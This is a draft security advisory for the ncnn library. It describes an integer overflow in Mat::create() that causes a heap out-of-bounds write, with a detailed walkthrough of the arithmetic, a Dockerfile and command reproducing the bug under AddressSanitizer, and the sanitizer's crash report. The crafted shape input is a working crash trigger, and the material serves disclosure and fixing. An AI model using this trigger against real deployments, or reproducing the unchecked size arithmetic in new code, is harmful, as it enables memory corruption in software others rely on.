All advisories
Draft

Integer Overflow Causes Heap Out-of-Bounds Write

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Integer Overflow Causes Heap Out-of-Bounds Write

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.cpp:421 in Mat::create(int, int, int, size_t, Allocator*)
Sanitizer verdict: heap-buffer-overflow

Summary

Tensor dimensions supplied through benchncnn's shape= argument are passed unchecked into ncnn::Mat::create(), where the byte-size computation wraps around 64 bits. fastMalloc() then receives a tiny wrapped size, and the reference-count initialisation writes 4 bytes before the resulting allocation. The entry point is benchncnn, which parses the shape list in parse_shape_list() and constructs the Mat directly; the same arithmetic is reachable from any caller that can influence three-dimensional Mat extents.

Detail

The untrusted values are the three integers of the shape= list. parse_shape_list() forwards them straight to the Mat(w, h, c) constructor at benchmark/benchncnn.cpp:222 with no range or product check. Mat::create() computes cstep and the total byte size in size_t, allocates totalsize + sizeof(*refcount), and then places the reference count at data + totalsize:

// src/mat.cpp:404
    cstep = alignSize((size_t)w * h * elemsize, 16) / elemsize;
#if NCNN_BATCH
    nstep = total();
#endif

    size_t totalsize = alignSize(total() * elemsize, 4);
    if (totalsize > 0)
    {
        if (allocator)
            data = allocator->fastMalloc(totalsize + (int)sizeof(*refcount));
        else
            data = fastMalloc(totalsize + (int)sizeof(*refcount));
    }

    if (data)
    {
        refcount = (int*)(((unsigned char*)data) + totalsize);
        *refcount = 1;
    }

With the PoC shape [2, 2147483646, 1073741825], cstep evaluates to 4294967292 and total() * elemsize is 4 * (2^62 - 4), which wraps to 2^64 - 16. alignSize leaves that value unchanged, so totalsize is 2^64 - 16. fastMalloc() is called with totalsize + 4, and inside it the further + NCNN_MALLOC_OVERREAD wraps the request all the way down to 52 bytes — the allocation ASan reports.

totalsize > 0 is still true and data is non-null, so the guard at line 410 is useless. refcount = data + totalsize is data + (2^64 - 16), i.e. data - 16, and *refcount = 1 at line 421 writes 4 bytes 16 bytes before the 52-byte region. ASan reports the write and aborts; without instrumentation the store lands in an unrelated allocator header.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-overflow-causes-heap-out-of-bounds-write && cd ncnn-poc-integer-overflow-causes-heap-out-of-bounds-write

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/benchmark/benchncnn 0 1 2 -1 0 'shape=[2,2147483646,1073741825]'

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000030 at pc 0x560ff419e3e4 bp 0x7ffec5e00a40 sp 0x7ffec5e00a30
WRITE of size 4 at 0x50a000000030 thread T0
    #0 0x560ff419e3e3 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:421
    #1 0x560ff413f181 in ncnn::Mat::Mat(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.h:932
    #2 0x560ff413f181 in parse_shape_list /ncnn/benchmark/benchncnn.cpp:222
    #3 0x560ff414280b in main /ncnn/benchmark/benchncnn.cpp:304
    #4 0x7ccf183a01c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x7ccf183a028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x560ff41385c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)

0x50a000000030 is located 16 bytes before 52-byte region [0x50a000000040,0x50a000000074)
allocated by thread T0 here:
    #0 0x7ccf18a19f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x560ff419e2a9 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x560ff419e2a9 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
    #3 0x560ff413f181 in ncnn::Mat::Mat(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.h:932
    #4 0x560ff413f181 in parse_shape_list /ncnn/benchmark/benchncnn.cpp:222
    #5 0x560ff414280b in main /ncnn/benchmark/benchncnn.cpp:304
    #6 0x7ccf183a01c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7ccf183a028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x560ff41385c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/mat.cpp:421 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*)

Credit

Zheng Yu @ DepthFirst